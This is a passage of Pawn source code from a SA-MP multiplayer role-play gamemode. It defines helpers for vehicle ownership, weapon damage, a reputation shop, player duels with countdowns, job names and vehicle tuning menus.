new vehowner=INVALID_VEHICLE_ID;
if(OwnedMashin[vehicleid]==1)
{
ForEachPlayer(i)
{
if(MashinOwner[vehicleid]==i){vehowner=i;}
}
}
return vehowner;
}
stock SetPlayerFacePlayer(playerid, faceplayerid)
{
    new Float:Px, Float:Py, Float: Pa;
    GetPlayerPos(playerid, Px, Py, Pa);
    new Float:fpX, Float:fpY, Float: fpZ;
    GetPlayerPos(faceplayerid, fpX, fpY, fpZ);
    Pa = floatabs(atan((fpY-Py)/(fpX-Px)));
    if(fpX <= Px && fpY >= Py) Pa = floatsub(180, Pa);
    else if(fpX < Px && fpY < Py) Pa = floatadd(Pa, 180);
    else if(fpX >= Px && fpY <= Py) Pa = floatsub(360.0, Pa);
    Pa = floatsub(Pa, 90.0);
    if(Pa >= 360.0) Pa = floatsub(Pa, 360.0);
    if(!IsPlayerInAnyVehicle(playerid)) SetPlayerFacingAngle(playerid, Pa);
    else SetVehicleZAngle(GetPlayerVehicleID(playerid), Pa);
}
function UnAttachPlayerToys(playerid)
{
 for(new s = 0; s < MAX_PLAYER_TOYS_SLOT; s++)
 {
	if(PlayerObjectsInfo[playerid][s][ao_enable] == 1)
	{
	   PlayerObjectsInfo[playerid][s][ao_enable] = 0;
	   UpdateToySlot(playerid, s);
	   ToysSlotSave(playerid, s, 2);
	}
 }
}
function TanzimeToys(playerid)
{
 // UnAttach
 for(new s = 0; s < MAX_PLAYER_TOYS_SLOT; s++)
 {
	if(PlayerObjectsInfo[playerid][s][ao_enable] == 1)
	{
	   PlayerObjectsInfo[playerid][s][ao_enable] = 0;
	   UpdateToySlot(playerid, s);
	   ToysSlotSave(playerid, s, 2);
	}
 }
 // ---
 
 // Attach
 for(new i = 0; i < 9; i++) if(IsPlayerAttachedObjectSlotUsed(playerid, i)) RemovePlayerAttachedObject(playerid, i);
 for(new i = 0; i < MAX_PLAYER_TOYS_SLOT; i++)
 {
	PlayerObjectsInfo[playerid][i][ao_slot] = -1;
	UpdateToySlot(playerid, i);
 }
 // ---
}
function IsPlayerInGame(playerid)
{
if(ImEnteredGame[playerid]==1)return true;
return false;
}
function OnPlayerEnterGame(playerid)
{
ImEnteredGame[playerid]=1;
//UnAttachPlayerToys(playerid);
//AttachPlayerToys(playerid);
}
function OnPlayerSkinChanged(playerid, oldskin, newskin)
{
if(IsPlayerInGame(playerid)&&UnAttachNasho[playerid]==0)UnAttachPlayerToys(playerid);
}
function GetNearestPlayer(playerid)
{
    new Float:dist = 1000.0;
    new targetid = INVALID_PLAYER_ID;
    new Float:x1,Float:y1,Float:z1;
    new Float:x2,Float:y2,Float:z2;
    new Float:tmpdis;
    GetPlayerPos(playerid,x1,y1,z1);
    ForEachPlayer(i)
    {
        if(i == playerid) continue;
        GetPlayerPos(i,x2,y2,z2);
        tmpdis = floatsqroot(floatpower(floatabs(floatsub(x2,x1)),2)+floatpower(floatabs(floatsub(y2,y1)),2)+floatpower(floatabs(floatsub(z2,z1)),2));
        if(tmpdis < dist)
        {
            dist = tmpdis;
            targetid = i;
        }
    }
    return targetid;
}
stock Float:randomFloat(const RAND_MAX = 32767)// by Sina
{
    return Float:random(RAND_MAX) / Float:RAND_MAX;
}
stock Float:randomFloatMax(const Float:max)// by Sina
{
    return (randomFloat() * max);
}
stock Float:randomFloatMinMax(const Float:min, const Float:max)// by Sina
{
    return min + randomFloatMax(max-min);
}
stock Float:GetDamageFromWeaponID(weaponid)
{
new Float:losthp;
if(weaponid==1){losthp=1.37;}
else if(weaponid==2){losthp=4.63;}
else if(weaponid==3){losthp=4.63;}
else if(weaponid==4){losthp=2.63;}
else if(weaponid==5){losthp=4.63;}
else if(weaponid==6){losthp=5.63;}
else if(weaponid==7){losthp=4.63;}
else if(weaponid==8){losthp=2.64;}
else if(weaponid==9){losthp=14.53;}
else if(weaponid==10){losthp=4.63;}
else if(weaponid==11){losthp=2.64;}
else if(weaponid==12){losthp=4.63;}
else if(weaponid==13){losthp=4.63;}
else if(weaponid==14){losthp=4.63;}
else if(weaponid==15){losthp=4.63;}
else if(weaponid==22){losthp=16.00;}
else if(weaponid==23){losthp=15.00;}
else if(weaponid==24){losthp=47.00;}
else if(weaponid==25){losthp=50.00;}
else if(weaponid==26){losthp=60.00;}
else if(weaponid==27){losthp=40.00;}
else if(weaponid==28){losthp=7.00;}
else if(weaponid==29){losthp=9.00;}
else if(weaponid==30){losthp=10.00;}
else if(weaponid==31){losthp=10.00;}
else if(weaponid==32){losthp=7.00;}
else if(weaponid==33){losthp=25.00;}
else if(weaponid==34){losthp=100.00;}
else if(weaponid==38){losthp=47.00;}
else{losthp=40.00;}
return losthp;
}
function IsPlayerFreeze(playerid)
{
if(MyState[playerid]==0)return true;
return false;
}
function ShowRepShop(playerid)
{
		 new title[120], tmpstr[180], finalstr[600];
		 format(title, sizeof(title), "%s %s Rep Shop - Rep: %s", SERVER_NAME1,SERVER_NAME2,FormatNumber(PINFO[playerid][pRep]));
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Add 50% Armour - {%s}5 Rep\n", (PINFO[playerid][pRep]<5)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Parachute - {%s}1 Rep\n", (PINFO[playerid][pRep]<1)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Sawnoff Shotgun (500 Ammo) - {%s}12 Rep\n", (PINFO[playerid][pRep]<12)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Fire Extinguisher (500 Ammo) - {%s}5 Rep\n", (PINFO[playerid][pRep]<5)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Katana Sword - {%s}5 Rep\n", (PINFO[playerid][pRep]<5)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}UZI (500 Ammo) - {%s}10 Rep\n", (PINFO[playerid][pRep]<10)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Jetpack - {%s}30 Rep\n", (PINFO[playerid][pRep]<30)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Jammer Of Detective Raders - {%s}15 Rep\n", (PINFO[playerid][pRep]<15)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Add 15 Drugs - {%s}10 Rep\n", (PINFO[playerid][pRep]<10)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Add 500 Materials - {%s}10 Rep\n", (PINFO[playerid][pRep]<10)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Combat Shotgun (300) - {%s}12 Rep\n", (PINFO[playerid][pRep]<12)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Flower - {%s}1 Rep\n", (PINFO[playerid][pRep]<1)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}BoomBox - {%s}100 Rep\n", (PINFO[playerid][pRep]<100)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}200 Buffs - {%s}200 Rep", (PINFO[playerid][pRep]<100)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
         ShowPlayerDialog(playerid, 1376, DIALOG_STYLE_LIST, title, finalstr, "Select", "Close");
}
function IsFactionMafia(facid)
{
if(facid==5||facid==6||facid==12||facid==13||facid==14||facid==15)return true;
return false;
}
function LetMeJumpAgain(playerid)
{
if(ImInJump[playerid]==1)ImInJump[playerid]=0;
}
function IsNameEmpty(name[])
{
new query[256], valid=false;
mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE `pName`='%e'", name);
new Cache:result=mysql_query(handle,query);
if(cache_num_rows()==0){valid=true;}
cache_delete(result);
return valid;
}
function IsReferralReserved(referral)
{
new query[256], valid=true;
mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE `pID`='%d'", referral);
new Cache:result=mysql_query(handle,query);
if(cache_num_rows()==0){valid=false;}
cache_delete(result);
return valid;
}
function GetReferralID(playerid, name[])
{
new ref = cache_insert_id();
new xZ[144], query[130];
format(xZ, sizeof(xZ), "{ffffff}Admin %s created an account with nickname %s(R#%d)",RPName(playerid), name, ref);
AdminWarn(xZ);
mysql_format(handle, query, sizeof(query), "UPDATE `server` SET LastAccount='%e'",name);
mysql_function_query(handle,query,false,"SendQuery","");
ReadAccountBar();
}
function IsPlayerInSafeZone(playerid)
{
if(ImInSafeZone[playerid]==1)return true;
return false;
}
stock GetCoinName()
{
new CoinName[30], string[20], xas[2];
format(string, sizeof(string), "%s", SERVER_NAME1);
format(xas, sizeof(xas), "%s", strgetc(string, 0));
format(CoinName, sizeof(CoinName), "%sCoin", xas);
return CoinName;
}
function ShowCoinDialog(playerid){return ShowPlayerDialog(playerid,1063,DIALOG_STYLE_LIST,GetCoinName(),"Currency\nBalance\nBuy\nWork Panel","Select","Close");}
function CoinToMoney(Float:coin)
{
new money=6000000;
money=floatround(coin*ArzesheCoin/1, floatround_ceil);
return money;
}
function StopMining(playerid)
{
if(ImMining[playerid]==0){}
else
{
new cht[144];
format(cht, sizeof(cht), "You mined %f since you started mining %ss.", IMined[playerid], GetCoinName());
SCM(playerid, COLOR_LIGHTRED, cht);
IMined[playerid]=0;
ImMining[playerid]=0;
}
}
function pAdminEx(playerid){return PINFO[playerid][pAdmin];}
function AdminError(playerid){return Error(playerid, "Error: Your admin level isn't high enough to use this command.")}
function StartCountDown(playerid){SetTimerEx("CountDownTimeEx3", 1000, 0, "i", playerid);}
function CountDownTimeEx3(playerid)
{
	GameTextForPlayer(playerid, "~g~3", 1000, 3);
	PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
    SetTimerEx("CountDownTimeEx2", 1000, 0, "i", playerid);
    return 1;
}
function CountDownTimeEx2(playerid)
{
	GameTextForPlayer(playerid, "~y~2", 1000, 3);
	PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
    SetTimerEx("CountDownTimeEx1", 1000, 0, "i", playerid);
    return 1;
}
function CountDownTimeEx1(playerid)
{
	GameTextForPlayer(playerid, "~r~1", 1000, 3);
	PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
 	SetTimerEx("CountDownTimeExFinish", 1000, 0, "i", playerid);
 	return 1;
}
function CountDownTimeExFinish(playerid)
{
	GameTextForPlayer(playerid, "GO!", 2000, 3);
	PlayerPlaySound(playerid, 1057, 0.0, 0.0, 0.0);
	OnStopCountDown(playerid);
	return 1;
}
function CountDownTime3(playerid)
{
	GameTextForPlayer(playerid, "~g~3", 1000, 3);
	PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
    SetTimerEx("CountDownTime2", 1000, 0, "i", playerid);
    return 1;
}
function CountDownTime2(playerid)
{
	GameTextForPlayer(playerid, "~y~2", 1000, 3);
	PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
    SetTimerEx("CountDownTime1", 1000, 0, "i", playerid);
    return 1;
}
function CountDownTime1(playerid)
{
	GameTextForPlayer(playerid, "~r~1", 1000, 3);
	PlayerPlaySound(playerid, 1056, 0.0, 0.0, 0.0);
 	SetTimerEx("CountDownTimeFinish", 1000, 0, "i", playerid);
 	return 1;
}
function CountDownTimeFinish(playerid)
{
	GameTextForPlayer(playerid, "GO!", 2000, 3);
	PlayerPlaySound(playerid, 1057, 0.0, 0.0, 0.0);
	return 1;
}
function IsNPC(playerid)
{
if(IsPlayerNPC(playerid)||FCNPC_IsValid(playerid))return true;
else return false;
}
function SetPlayerBehindPlayer(playerid, faceplayerid)
{
    new Float:Px, Float:Py, Float: Pa;
    GetPlayerPos(playerid, Px, Py, Pa);
    new Float:fpX, Float:fpY, Float: fpZ;
    GetPlayerPos(faceplayerid, fpX, fpY, fpZ);
    Pa = floatabs(atan((fpY-Py)/(fpX-Px)));
    if(fpX <= Px && fpY >= Py) Pa = floatsub(180, Pa);
    else if(fpX < Px && fpY < Py) Pa = floatadd(Pa, 180);
    else if(fpX >= Px && fpY <= Py) Pa = floatsub(360.0, Pa);
    Pa = floatsub(Pa, 90.0);
    if(Pa >= 360.0) Pa = floatsub(Pa, 360.0);
    if(!IsPlayerInAnyVehicle(playerid)) SetPlayerFacingAngle(playerid, -Pa);
    else SetVehicleZAngle(GetPlayerVehicleID(playerid), -Pa);
}
function StartDuel(playerid, taraf)
{
if(DuelWith[playerid]!=taraf||DuelWith[taraf]!=playerid){}
else
{
new Float:pX, Float:pY, Float:pZ;
GetPlayerPos(taraf, pX, pY, pZ);
GetXYInFrontOfPlayer(taraf, pX, pY, 5);
SetPlayerPos(playerid, pX, pY, pZ);
TogglePlayerControllable(playerid, 0);TogglePlayerControllable(taraf, 0);
if(DuelBy[playerid]!=0)GivePlayerPool(playerid, -DuelBy[playerid]);
if(DuelBy[taraf]!=0)GivePlayerPool(taraf, -DuelBy[taraf]);
SetCameraBehindPlayer(playerid);SetCameraBehindPlayer(taraf);
SetPlayerBehindPlayer(playerid, taraf);SetPlayerBehindPlayer(taraf, playerid);
StartCountDown(playerid);StartCountDown(taraf);
}
}
function OnStopCountDown(playerid)
{
TogglePlayerControllable(playerid, 1);
OnDuel[playerid]=DuelWith[playerid];
}
function StopDuel(playerid, killerid, type)
{
if(type==1)
{
new prize=DuelBy[playerid], cht[50];
OnDuel[playerid]=INVALID_PLAYER_ID;OnDuel[killerid]=INVALID_PLAYER_ID;
DuelBy[playerid]=0;DuelBy[killerid]=0;
DuelWith[playerid]=INVALID_PLAYER_ID;DuelWith[killerid]=INVALID_PLAYER_ID;
if(prize!=0){GivePlayerPool(killerid, prize);format(cht, sizeof(cht), "~g~+$%s", FormatNumber(prize));GameTextForPlayer(killerid, cht, 3000, 1);}
}
else if(type==2)
{
new prize=DuelBy[playerid], cht[50], taraf=DuelWith[playerid];
OnDuel[taraf]=INVALID_PLAYER_ID;OnDuel[playerid]=INVALID_PLAYER_ID;
DuelBy[taraf]=0;DuelBy[playerid]=0;
DuelWith[taraf]=INVALID_PLAYER_ID;DuelWith[playerid]=INVALID_PLAYER_ID;
if(prize!=0){GivePlayerPool(taraf, prize);format(cht, sizeof(cht), "~g~+$%s", FormatNumber(prize));GameTextForPlayer(taraf, cht, 3000, 1);}
}
}
stock GetJobName(jobid)
{
new jobtxt[40];
if(jobid==1){jobtxt="Detective";}
else if(jobid==2){jobtxt="Lawyer";}
else if(jobid==4){jobtxt="Drug Dealer";}
else if(jobid==5){jobtxt="Car Jacker";}
else if(jobid==7){jobtxt="Car Mechanic";}
else if(jobid==9){jobtxt="Arms Dealer";}
else if(jobid==14){jobtxt="Bus Driver";}
else if(jobid==16){jobtxt="Trucker";}
else if(jobid==18){jobtxt="Farmer";}
else if(jobid==20){jobtxt="Garbage Man";}
else if(jobid==21){jobtxt="Pizza Boy";}
else if(jobid==22){jobtxt="Sweeper";}
else if(jobid==23){jobtxt="Liquor Dealer";}
else if(jobid==24){jobtxt="Oil Dealer";}
else{jobtxt="Unemployed";}
return jobtxt;
}
function ShowSBiz16Tuning(playerid)
{
for(new i=0;i<11;i++){TextDrawShowForPlayer(playerid, TuningTD[i]);}
if(IsPlayerInAnyVehicle(playerid))
{
new vh1, vh2, model=GetVehicleModel(GetPlayerVehicleID(playerid));
GetVehicleColor(GetPlayerVehicleID(playerid), vh1, vh2);
PlayerTextDrawSetPreviewModel(playerid, TuningPTD[playerid][0], model);
PlayerTextDrawSetPreviewVehCol(playerid, TuningPTD[playerid][0], vh1, vh2);
PlayerTextDrawShow(playerid, TuningPTD[playerid][0]);
}
ImInTuning[playerid]=1;
}
function ShowSBiz17Tuning(playerid)
{
for(new i=0;i<11;i++){if(i==10||i==8||i==6||i==4){continue;}TextDrawShowForPlayer(playerid, TuningTD[i]);}
for(new i=0;i<4;i++){TextDrawShowForPlayer(playerid, TuningTD2[i]);}
if(IsPlayerInAnyVehicle(playerid))
{
new vh1, vh2, model=GetVehicleModel(GetPlayerVehicleID(playerid));
GetVehicleColor(GetPlayerVehicleID(playerid), vh1, vh2);
PlayerTextDrawSetPreviewModel(playerid, TuningPTD[playerid][0], model);
PlayerTextDrawSetPreviewVehCol(playerid, TuningPTD[playerid][0], vh1, vh2);
PlayerTextDrawShow(playerid, TuningPTD[playerid][0]);
}
ImInTuning[playerid]=2;
}
function ShowSBiz18Tuning(playerid)
{
for(new i=0;i<5;i++){TextDrawShowForPlayer(playerid, TuningTDKM[i]);}
if(IsPlayerInAnyVehicle(playerid))
{
new vh1, vh2, model=GetVehicleModel(GetPlayerVehicleID(playerid));
GetVehicleColor(GetPlayerVehicleID(playerid), vh1, vh2);
PlayerTextDrawSetPreviewModel(playerid, TuningPTD[playerid][0], model);
PlayerTextDrawSetPreviewVehCol(playerid, TuningPTD[playerid][0], vh1, vh2);
PlayerTextDrawShow(playerid, TuningPTD[playerid][0]);
}
ImInTuning[playerid]=3;
}
function ShowSBiz19Tuning(playerid)
{
for(new i=0;i<5;i++){if(i==4){continue;}TextDrawShowForPlayer(playerid, TuningTDKM[i]);}
TextDrawShowForPlayer(playerid, TuningTD3[0]);
if(IsPlayerInAnyVehicle(playerid))
{
new vh1, vh2, model=GetVehicleModel(GetPlayerVehicleID(playerid));
GetVehicleColor(GetPlayerVehicleID(playerid), vh1, vh2);
PlayerTextDrawSetPreviewModel(playerid, TuningPTD[playerid][0], model);
PlayerTextDrawSetPreviewVehCol(playerid, TuningPTD[playerid][0], vh1, vh2);
PlayerTextDrawShow(playerid, TuningPTD[playerid][0]);
}
ImInTuning[playerid]=4;
}
function ShowSBiz20Tuning(playerid)
{
for(new i=0;i<5;i++){if(i==4){continue;}TextDrawShowForPlayer(playerid, TuningTDKM[i]);}
TextDrawShowForPlayer(playerid, TuningTD4[0]);
if(IsPlayerInAnyVehicle(playerid))
{
new vh1, vh2, model=GetVehicleModel(GetPlayerVehicleID(playerid));
GetVehicleColor(GetPlayerVehicleID(playerid), vh1, vh2);
PlayerTextDrawSetPreviewModel(playerid, TuningPTD[playerid][0], model);
PlayerTextDrawSetPreviewVehCol(playerid, TuningPTD[playerid][0], vh1, vh2);
PlayerTextDrawShow(playerid, TuningPTD[playerid][0]);
}
ImInTuning[playerid]=5;
}
function HideSBiz16Tuning(playerid)
{
for(new i=0;i<11;i++){TextDrawHideForPlayer(playerid, TuningTD[i]);}
PlayerTextDrawHide(playerid, TuningPTD[playerid][0]);
ImInTuning[playerid]=0;
}
function HideSBiz17Tuning(playerid)
{
for(new i=0;i<11;i++){if(i==10||i==8||i==6||i==4){continue;}TextDrawHideForPlayer(playerid, TuningTD[i]);}
for(new i=0;i<4;i++){TextDrawHideForPlayer(playerid, TuningTD2[i]);}
PlayerTextDrawHide(playerid, TuningPTD[playerid][0]);
ImInTuning[playerid]=0;
}
function HideSBiz18Tuning(playerid)
{
for(new i=0;i<5;i++){TextDrawHideForPlayer(playerid, TuningTDKM[i]);}
PlayerTextDrawHide(playerid, TuningPTD[playerid][0]);
ImInTuning[playerid]=0;
}
function HideSBiz19Tuning(playerid)
{
for(new i=0;i<5;i++){if(i==4){continue;}TextDrawHideForPlayer(playerid, TuningTDKM[i]);}
TextDrawHideForPlayer(playerid, TuningTD3[0]);
PlayerTextDrawHide(playerid, TuningPTD[playerid][0]);
ImInTuning[playerid]=0;
}
function HideSBiz20Tuning(playerid)
{
for(new i=0;i<5;i++){if(i==4){continue;}TextDrawHideForPlayer(playerid, TuningTDKM[i]);}
TextDrawHideForPlayer(playerid, TuningTD4[0]);
PlayerTextDrawHide(playerid, TuningPTD[playerid][0]);
ImInTuning[playerid]=0;
}
function CloseTuningTab(playerid)
{
if(ImInTuning[playerid]==1){HideSBiz16Tuning(playerid);}
if(ImInTuning[playerid]==2){HideSBiz17Tuning(playerid);}
if(ImInTuning[playerid]==3){HideSBiz18Tuning(playerid);}
if(ImInTuning[playerid]==4){HideSBiz19Tuning(playerid);}
if(ImInTuning[playerid]==5){HideSBiz20Tuning(playerid);}
}
function SetCameraToTuning(playerid)
{
SetPlayerCameraPos(playerid, 671.3913, -1558.7496, -20.4098);
SetPlayerCameraLookAt(playerid, 670.4974, -1558.3051, -20.3999);
TogglePlayerControllable(playerid, 0);
}
function FreeCameraFromTuning(playerid){return SetCameraBehindPlayer(playerid);}
stock AddComponentToVehicle( vehicleid, componentid ) {
	if( VehicleInfo[ vehicleid ][ vTuned ] ) {
		if( GetVehicleComponentType( componentid ) == CARMODTYPE_SPOILER ) {
		    VehicleInfo[ vehicleid ][ vSpoiler ] = componentid;
			if( VehicleInfo[ vehicleid ][ vSpoiler ] != -1 ){ AddVehicleComponent( vehicleid, componentid ); SaveComponent(vehicleid, componentid); }
		}
	    else if( GetVehicleComponentType( componentid ) == CARMODTYPE_HOOD ) {
		    VehicleInfo[ vehicleid ][ vHood ] = componentid;
			if( VehicleInfo[ vehicleid ][ vHood ] != -1 ){ AddVehicleComponent( vehicleid, componentid ); SaveComponent(vehicleid, componentid); }
		}
	    else if( GetVehicleComponentType( componentid ) == CARMODTYPE_ROOF ) {
		    VehicleInfo[ vehicleid ][ vRoof ] = componentid;
			if( VehicleInfo[ vehicleid ][ vRoof ] != -1 ){ AddVehicleComponent( vehicleid, componentid ); SaveComponent(vehicleid, componentid); }
		}
	    else if( GetVehicleComponentType( componentid ) == CARMODTYPE_SIDESKIRT ) {
		    VehicleInfo[ vehicleid ][ vSkirt ] = componentid;
			if( VehicleInfo[ vehicleid ][ vSkirt ] != -1 ){ AddVehicleComponent( vehicleid, componentid ); SaveComponent(vehicleid, componentid); }
		}
	    else if( GetVehicleComponentType( componentid ) == CARMODTYPE_LAMPS ) {
		    VehicleInfo[ vehicleid ][ vLamps ] = componentid;
			if( VehicleInfo[ vehicleid ][ vLamps ] != -1 ){ AddVehicleComponent( vehicleid, componentid ); SaveComponent(vehicleid, componentid); }
		}
	    else if( GetVehicleComponentType( componentid ) == CARMODTYPE_NITRO ) {
		    VehicleInfo[ vehicleid ][ vNitro ] = componentid;
			if( VehicleInfo[ vehicleid ][ vNitro ] != -1 ){ AddVehicleComponent( vehicleid, componentid ); SaveComponent(vehicleid, componentid); }
		}
	    else if( GetVehicleComponentType( componentid ) == CARMODTYPE_EXHAUST ) {
		    VehicleInfo[ vehicleid ][ vExhaust ] = componentid;
			if( VehicleInfo[ vehicleid ][ vExhaust ] != -1 ){ AddVehicleComponent( vehicleid, componentid ); SaveComponent(vehicleid, componentid); }
		}
	    else if( GetVehicleComponentType( componentid ) == CARMODTYPE_WHEELS ) {
		    VehicleInfo[ vehicleid ][ vWheels ] = componentid;
			if( VehicleInfo[ vehicleid ][ vWheels ] != -1 ){ AddVehicleComponent( vehicleid, componentid ); SaveComponent(vehicleid, componentid); }
		}
	    else if( GetVehicleComponentType( componentid ) == CARMODTYPE_STEREO ) {
		    VehicleInfo[ vehicleid ][ vStereo ] = componentid;
			if( VehicleInfo[ vehicleid ][ vStereo ] != -1 ){ AddVehicleComponent( vehicleid, componentid ); SaveComponent(vehicleid, componentid); }
		}
	    else if( GetVehicleComponentType( componentid ) == CARMODTYPE_HYDRAULICS ) {
		    VehicleInfo[ vehicleid ][ vHydraulics ] = componentid;
			if( VehicleInfo[ vehicleid ][ vHydraulics ] != -1 ){ AddVehicleComponent( vehicleid, componentid ); SaveComponent(vehicleid, componentid); }
		}
	    else if( GetVehicleComponentType( componentid ) == CARMODTYPE_FRONT_BUMPER ) {
		    VehicleInfo[ vehicleid ][ vFrontBumper ] = componentid;
			if( VehicleInfo[ vehicleid ][ vFrontBumper ] != -1 ){ AddVehicleComponent( vehicleid, componentid ); SaveComponent(vehicleid, componentid); }
		}
	    else if( GetVehicleComponentType( componentid ) == CARMODTYPE_REAR_BUMPER ) {
		    VehicleInfo[ vehicleid ][ vRearBumper ] = componentid;
			if( VehicleInfo[ vehicleid ][ vRearBumper ] != -1 ){ AddVehicleComponent( vehicleid, componentid ); SaveComponent(vehicleid, componentid); }
		}
	    else if( GetVehicleComponentType( componentid ) == CARMODTYPE_VENT_RIGHT ) {
		    VehicleInfo[ vehicleid ][ vRightVent ] = componentid;
			if( VehicleInfo[ vehicleid ][ vRightVent ] != -1 ){ AddVehicleComponent( vehicleid, componentid ); SaveComponent(vehicleid, componentid); }
		}
	    else if( GetVehicleComponentType( componentid ) == CARMODTYPE_VENT_LEFT ) {
		    VehicleInfo[ vehicleid ][ vLeftVent ] = componentid;
			if( VehicleInfo[ vehicleid ][ vLeftVent ] != -1 ){ AddVehicleComponent( vehicleid, componentid ); SaveComponent(vehicleid, componentid); }
		}
	}
}
stock GetVehicleCameraPos( vehicleid, &Float:x, &Float:y, &Float:z, Float:xoff=0.0, Float:yoff=0.0, Float:zoff=0.0 ) {
    new Float:rot;
    GetVehicleZAngle( vehicleid, rot );
    rot = 360 - rot;
    GetVehiclePos( vehicleid, x, y, z );
    x = floatsin( rot, degrees ) * yoff + floatcos( rot, degrees ) * xoff + x;
    y = floatcos( rot, degrees ) * yoff - floatsin( rot, degrees ) * xoff + y;
    z = zoff + z;
}
stock TuningTDControl( playerid, bool:show ) {
	if( show == true ) {
        for( new i = 0; i < 14; i ++ ) {
			PlayerTextDrawShow( playerid, TuningBuy[ playerid ][ i ] );
		}
        ControleTun[playerid] = 1;
        CheghadrPool[playerid] = 0;
	}
	else if( show == false ) {
		for( new i = 0; i < 14; i ++ ) {
			PlayerTextDrawHide( playerid, TuningBuy[ playerid ][ i ]);
		}
		ControleTun[playerid] = 0;
	}
}
ResetTuningInfo( playerid ) {
	TPInfo[ playerid ][ tID ] = -1;
	TPInfo[ playerid ][ tType ] = -1;
	TPInfo[ playerid ][ tPaintjob ] = false;
	TPInfo[ playerid ][ PJColor ] = -1;
	TPInfo[ playerid ][ PJColor ] = -1;
}
stock ResetTuning( vehid ) {
	if( VehicleInfo[ vehid ][ vTuned ] ) {
	    VehicleInfo[ vehid ][ vTuned ] = false;
		VehicleInfo[ vehid ][ vSpoiler ] = -1;
		VehicleInfo[ vehid ][ vHood ] = -1;
		VehicleInfo[ vehid ][ vRoof ] = -1;
		VehicleInfo[ vehid ][ vSkirt ] = -1;
		VehicleInfo[ vehid ][ vLamps ] = -1;
		VehicleInfo[ vehid ][ vNitro ] = -1;
		VehicleInfo[ vehid ][ vExhaust ] = -1;
		VehicleInfo[ vehid ][ vWheels ] = -1;
		VehicleInfo[ vehid ][ vStereo ] = -1;
		VehicleInfo[ vehid ][ vHydraulics ] = -1;
		VehicleInfo[ vehid ][ vFrontBumper ] = -1;
		VehicleInfo[ vehid ][ vRearBumper ] = -1;
		VehicleInfo[ vehid ][ vRightVent ] = -1;
		VehicleInfo[ vehid ][ vLeftVent ] = -1;
		VehicleInfo[ vehid ][ vPaintJob ] = 255;
	}
}
stock IsComponentidCompatible( modelid, componentid ) {
    if( componentid == 1025 || componentid == 1073 || componentid == 1074 || componentid == 1075 || componentid == 1076 ||
		componentid == 1077 || componentid == 1078 || componentid == 1079 || componentid == 1080 || componentid == 1081 ||
        componentid == 1082 || componentid == 1083 || componentid == 1084 || componentid == 1085 || componentid == 1096 ||
        componentid == 1097 || componentid == 1098 || componentid == 1087 || componentid == 1086 ) {
        return componentid;
	}

    switch( modelid ) {
        case 400: if( componentid == 1020 || componentid == 1021 || componentid == 1019 || componentid == 1018 || componentid == 1013 || componentid == 1024 || componentid == 1008 || componentid == 1009 || componentid == 1010 ) return componentid;
        case 401: if( componentid == 1005 || componentid == 1004 || componentid == 1142 || componentid == 1143 || componentid == 1144 || componentid == 114 || componentid == 1020 || componentid == 1019 || componentid == 1013 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1006 || componentid == 1001 || componentid == 1003 || componentid == 1017 || componentid == 1007) return componentid;
        case 402: if( componentid == 1009 || componentid == 1009 || componentid == 1010 ) return componentid;
        case 404: if( componentid == 1020 || componentid == 1021 || componentid == 1019 || componentid == 1013 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1002 || componentid == 1016 || componentid == 1000 || componentid == 1017 || componentid == 1007) return componentid;
        case 405: if( componentid == 1020 || componentid == 1021 || componentid == 1019 || componentid == 1018 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1001 || componentid == 1014 || componentid == 1023 || componentid == 1000) return componentid;
        case 409: if( componentid == 1009 ) return componentid;
        case 410: if( componentid == 1019 || componentid == 1021 || componentid == 1020 || componentid == 1013 || componentid == 1024 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1001 || componentid == 1023 || componentid == 1003 || componentid == 1017 || componentid == 1007) return componentid;
        case 411: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 412: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 415: if( componentid == 1019 || componentid == 1018 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1001 || componentid == 1023 || componentid == 1003 || componentid == 1017 || componentid == 1007) return componentid;
        case 418: if( componentid == 1020 || componentid == 1021 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1006 || componentid == 1002 || componentid == 1016) return componentid;
        case 419: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
